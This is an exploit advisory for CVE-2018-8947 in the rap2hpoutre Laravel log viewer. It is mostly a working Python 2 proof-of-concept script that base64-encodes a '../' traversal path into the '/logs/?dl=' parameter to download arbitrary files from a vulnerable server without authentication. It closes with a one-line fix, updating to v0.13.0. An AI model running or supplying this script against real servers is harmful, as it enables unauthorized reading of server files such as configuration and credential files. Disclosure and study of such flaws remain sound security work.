# Date: 23/02/2018
# Exploit Author: Haboob Team
# Software Link: https://github.com/rap2hpoutre/laravel-log-viewer/tree/v0.11.1
# Version: v0.12.0 and below
# CVE : CVE-2018-8947
1. Description
Unauthorized user can access Laravel log viewer by rap2hpoutre and use download function to download any file with laravel permission, by base64 encode the wanted file.
2. Proof of Concept
#After providing the url of the vulnerable laravel log viewer by rap2hpoutre (with / in the end or you can edit it yourself), and the file wanted including "../" the script will create a folder and save the downloaded file there
import os
import base64
from urllib2 import urlopen, URLError, HTTPError
import argparse
import cookielib
parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_')
parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True)
parser.add_argument("-f", action="store", dest="file", help="Target File", required=True)
args = parser.parse_args()
url = str(args.url).strip()+"/logs/?dl="
final_file= args.file
if not os.path.exists("./0Grats0"):
os.makedirs("./0Grats0")
word = str(args.file).split('/')
word1= "./0Grats0/"+word[-1]
finalee=url+base64.b64encode(final_file)
try:
f = urlopen(finalee)
with open(word1, "wb") as local_file:
local_file.write(f.read())
except HTTPError, e:
print "HTTP Error:", e.code, finalee
except URLError, e:
print "URL Error:", e.reason, finalee
3. Solution:
Update to version v0.13.0
